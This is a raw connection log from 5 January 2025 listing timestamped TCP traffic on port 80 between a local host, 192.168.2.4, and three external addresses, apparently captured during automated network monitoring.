Jan 5, 2025 10:48:33.516155958 CET	58672	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:33.516567945 CET	58672	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:33.641844034 CET	58673	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:33.646678925 CET	80	58673	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:33.646765947 CET	58673	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:33.646965981 CET	58673	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:33.651726007 CET	80	58673	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:33.651787996 CET	58673	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:33.667540073 CET	58674	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:33.672374010 CET	80	58674	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:33.672462940 CET	58674	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:33.672561884 CET	58674	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:33.677364111 CET	80	58674	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:34.146272898 CET	80	58674	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:34.146291018 CET	80	58674	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:34.146358013 CET	58674	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:34.146395922 CET	80	58674	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:34.146441936 CET	58674	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:34.146822929 CET	58674	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:36.451320887 CET	58675	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:36.456186056 CET	80	58675	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:36.456279993 CET	58675	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:36.459462881 CET	58675	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:36.463377953 CET	58676	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:36.464329958 CET	80	58675	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:36.464402914 CET	58675	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:36.468287945 CET	80	58676	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:36.468377113 CET	58676	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:36.475617886 CET	58676	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:36.480431080 CET	80	58676	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:36.922780991 CET	80	58676	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:36.922799110 CET	80	58676	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:36.922842026 CET	80	58676	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:36.922889948 CET	58676	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:36.922966003 CET	58676	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:36.944274902 CET	58676	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:39.808370113 CET	58677	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:39.813222885 CET	80	58677	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:39.813307047 CET	58677	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:39.813416958 CET	58677	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:39.817001104 CET	58678	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:39.818300009 CET	80	58677	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:39.818378925 CET	58677	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:39.821887970 CET	80	58678	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:39.821969986 CET	58678	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:39.834575891 CET	58678	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:39.839482069 CET	80	58678	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:40.284163952 CET	80	58678	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:40.284182072 CET	80	58678	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:40.284195900 CET	80	58678	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:40.284235001 CET	58678	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:40.284282923 CET	58678	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:40.284737110 CET	58678	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:40.551306009 CET	58679	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:40.556068897 CET	80	58679	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:40.556157112 CET	58679	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:40.568851948 CET	58679	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:40.572947979 CET	58680	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:40.577778101 CET	80	58680	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:40.577862024 CET	58680	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:40.579571009 CET	80	58679	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:40.580704927 CET	80	58679	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:40.580758095 CET	58679	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:40.584491968 CET	58680	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:40.589232922 CET	80	58680	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:41.032192945 CET	80	58680	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:41.032244921 CET	80	58680	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:41.032265902 CET	80	58680	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:41.032371044 CET	58680	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:41.034236908 CET	58680	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:41.934498072 CET	58681	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:41.939377069 CET	80	58681	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:41.939460039 CET	58681	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:41.939544916 CET	58681	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:41.943335056 CET	58682	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:41.944554090 CET	80	58681	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:41.944622993 CET	58681	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:41.948177099 CET	80	58682	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:41.948695898 CET	58682	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:41.948792934 CET	58682	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:41.953598976 CET	80	58682	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:42.418411970 CET	80	58682	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:42.418437958 CET	80	58682	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:42.418448925 CET	80	58682	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:42.418529034 CET	58682	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:42.418993950 CET	58682	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:42.539947033 CET	58683	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:42.544795036 CET	80	58683	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:42.544864893 CET	58683	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:42.553175926 CET	58683	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:42.558449984 CET	80	58683	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:42.558497906 CET	58683	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:42.571276903 CET	58684	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:42.576091051 CET	80	58684	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:42.576170921 CET	58684	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:42.576258898 CET	58684	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:42.583266020 CET	80	58684	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:43.030740976 CET	80	58684	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:43.030755997 CET	80	58684	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:43.030812979 CET	80	58684	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:43.030889034 CET	58684	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:43.030936003 CET	58684	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:43.031338930 CET	58684	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:48.151556969 CET	58685	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:48.156475067 CET	80	58685	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:48.156589985 CET	58685	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:48.162730932 CET	58685	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:48.167196989 CET	58686	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:48.167560101 CET	80	58685	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:48.167577982 CET	80	58685	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:48.167629957 CET	58685	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:48.172005892 CET	80	58686	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:48.172080994 CET	58686	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:48.178224087 CET	58686	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:48.183007002 CET	80	58686	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:48.645181894 CET	80	58686	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:48.645215034 CET	80	58686	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:48.645225048 CET	80	58686	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:48.645345926 CET	58686	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:48.645730972 CET	58686	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:52.564248085 CET	58687	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:52.569042921 CET	80	58687	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:52.569120884 CET	58687	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:52.569216013 CET	58687	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:52.575611115 CET	80	58687	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:52.582031012 CET	80	58687	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:52.582075119 CET	58687	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:52.587903976 CET	58688	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:52.592689037 CET	80	58688	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:52.592776060 CET	58688	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:52.592849016 CET	58688	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:52.597589016 CET	80	58688	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:53.047586918 CET	80	58688	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:53.047614098 CET	80	58688	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:53.047625065 CET	80	58688	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:53.047709942 CET	58688	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:53.050218105 CET	58688	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:57.065303087 CET	58711	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:57.070137024 CET	80	58711	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:57.072752953 CET	58711	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:57.084495068 CET	58711	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:57.089346886 CET	80	58711	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:57.089399099 CET	58711	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:57.324738979 CET	58712	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:57.329549074 CET	80	58712	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:57.329637051 CET	58712	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:57.335027933 CET	58712	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:57.339843035 CET	80	58712	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:57.802972078 CET	80	58712	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:57.803009987 CET	80	58712	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:57.803019047 CET	80	58712	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:57.803189993 CET	58712	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:57.803642035 CET	58712	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:58.845719099 CET	58723	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:58.850509882 CET	80	58723	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:58.850586891 CET	58723	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:58.850677967 CET	58723	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:58.855550051 CET	80	58723	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:58.855560064 CET	80	58723	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:58.855602026 CET	58723	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:58.856725931 CET	58724	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:58.861475945 CET	80	58724	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:58.861579895 CET	58724	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:58.868828058 CET	58724	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:58.873610973 CET	80	58724	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:59.334528923 CET	80	58724	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:59.334551096 CET	80	58724	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:59.334633112 CET	80	58724	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:59.334657907 CET	58724	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:59.334691048 CET	58724	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:59.335192919 CET	58724	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:02.800703049 CET	58750	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:02.805526972 CET	80	58750	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:02.805612087 CET	58750	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:02.819222927 CET	58750	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:02.823630095 CET	58751	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:02.824052095 CET	80	58750	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:02.824115992 CET	58750	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:02.828366995 CET	80	58751	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:02.828434944 CET	58751	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:02.834547043 CET	58751	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:02.839338064 CET	80	58751	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:03.301480055 CET	80	58751	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:03.301511049 CET	80	58751	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:03.301521063 CET	80	58751	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:03.301624060 CET	58751	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:03.302001953 CET	58751	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:03.898560047 CET	58757	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:03.903394938 CET	80	58757	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:03.903476954 CET	58757	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:03.903589964 CET	58757	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:03.908360958 CET	80	58757	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:03.910777092 CET	58757	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:04.309412956 CET	58763	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:04.314238071 CET	80	58763	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:04.314351082 CET	58763	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:04.319185972 CET	58763	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:04.323954105 CET	80	58763	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:04.772680998 CET	80	58763	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:04.772689104 CET	80	58763	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:04.772742033 CET	80	58763	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:04.772762060 CET	58763	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:04.772849083 CET	58763	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:04.773298979 CET	58763	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:05.102227926 CET	58769	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:05.107019901 CET	80	58769	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:05.107261896 CET	58769	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:05.108107090 CET	58769	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:05.112915993 CET	80	58769	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:05.113019943 CET	58769	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:05.121622086 CET	58770	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:05.126485109 CET	80	58770	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:05.126606941 CET	58770	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:05.131566048 CET	58770	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:05.136372089 CET	80	58770	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:05.599833965 CET	80	58770	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:05.599880934 CET	80	58770	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:05.599894047 CET	80	58770	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:05.599931955 CET	58770	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:05.600398064 CET	58770	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:11.946624041 CET	58810	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:11.951445103 CET	80	58810	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:11.951515913 CET	58810	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:11.951616049 CET	58810	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:11.956552982 CET	80	58810	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:11.956593990 CET	58810	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:12.374298096 CET	58815	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:12.379014015 CET	80	58815	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:12.379085064 CET	58815	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:12.388499975 CET	58815	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:12.393233061 CET	80	58815	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:12.833390951 CET	80	58815	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:12.833406925 CET	80	58815	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:12.833442926 CET	80	58815	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:12.833496094 CET	58815	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:12.833777905 CET	58815	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:13.501569986 CET	58823	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:13.507289886 CET	80	58823	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:13.507378101 CET	58823	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:13.507709026 CET	58823	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:13.513135910 CET	80	58823	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:13.513216972 CET	58823	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:13.675570011 CET	58826	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:13.680354118 CET	80	58826	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:13.680483103 CET	58826	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:13.680571079 CET	58826	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:13.685386896 CET	80	58826	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:14.138860941 CET	80	58826	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:14.138889074 CET	80	58826	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:14.138933897 CET	58826	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:14.138936043 CET	80	58826	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:14.138983011 CET	58826	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:14.139363050 CET	58826	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:15.192035913 CET	58836	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:15.196924925 CET	80	58836	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:15.199309111 CET	58836	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:15.199600935 CET	58836	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:15.204402924 CET	80	58836	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:15.204459906 CET	58836	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:15.482065916 CET	58839	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:15.486895084 CET	80	58839	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:15.487004042 CET	58839	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:15.487082005 CET	58839	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:15.491858959 CET	80	58839	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:15.951051950 CET	80	58839	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:15.951077938 CET	80	58839	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:15.951087952 CET	80	58839	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:15.951124907 CET	58839	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:15.951160908 CET	58839	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:15.951489925 CET	58839	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:16.427845955 CET	58846	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:16.432651997 CET	80	58846	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:16.432728052 CET	58846	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:16.432919979 CET	58846	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:16.437712908 CET	80	58846	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:16.437781096 CET	58846	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:16.697995901 CET	58849	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:16.702877998 CET	80	58849	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:16.702975035 CET	58849	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:16.703082085 CET	58849	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:16.707858086 CET	80	58849	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:17.157998085 CET	80	58849	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:17.158029079 CET	80	58849	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:17.158037901 CET	80	58849	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:17.158087015 CET	58849	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:17.158497095 CET	58849	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:17.781423092 CET	58857	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:17.786243916 CET	80	58857	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:17.787863970 CET	58857	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:17.788232088 CET	58857	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:17.793056011 CET	80	58857	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:17.793134928 CET	58857	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:18.055560112 CET	58860	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:18.060380936 CET	80	58860	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:18.060456991 CET	58860	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:18.060537100 CET	58860	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:18.065267086 CET	80	58860	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:18.538439035 CET	80	58860	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:18.538460016 CET	80	58860	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:18.538469076 CET	80	58860	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:18.538527966 CET	58860	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:18.540183067 CET	58860	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:20.500193119 CET	58877	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:20.504970074 CET	80	58877	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:20.505079031 CET	58877	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:20.506454945 CET	58877	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:20.511326075 CET	80	58877	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:20.511382103 CET	58877	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:20.840727091 CET	58878	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:20.845515013 CET	80	58878	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:20.845592976 CET	58878	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:20.845746994 CET	58878	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:20.850493908 CET	80	58878	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:21.299448013 CET	80	58878	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:21.299484968 CET	80	58878	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:21.299505949 CET	80	58878	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:21.299550056 CET	58878	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:21.299873114 CET	58878	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:21.448018074 CET	58884	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:21.452872992 CET	80	58884	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:21.452969074 CET	58884	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:21.453066111 CET	58884	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:21.457967043 CET	80	58884	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:21.458508968 CET	58884	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:21.718287945 CET	58887	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:21.723112106 CET	80	58887	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:21.723169088 CET	58887	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:21.723247051 CET	58887	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:21.728013992 CET	80	58887	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:22.200043917 CET	80	58887	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:22.200058937 CET	80	58887	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:22.200071096 CET	80	58887	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:22.200129032 CET	58887	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:22.200474977 CET	58887	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:24.345356941 CET	58906	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:24.350141048 CET	80	58906	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:24.350217104 CET	58906	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:24.350526094 CET	58906	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:24.355298042 CET	80	58906	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:24.355344057 CET	58906	80	192.168.2.4	88.198.29.97
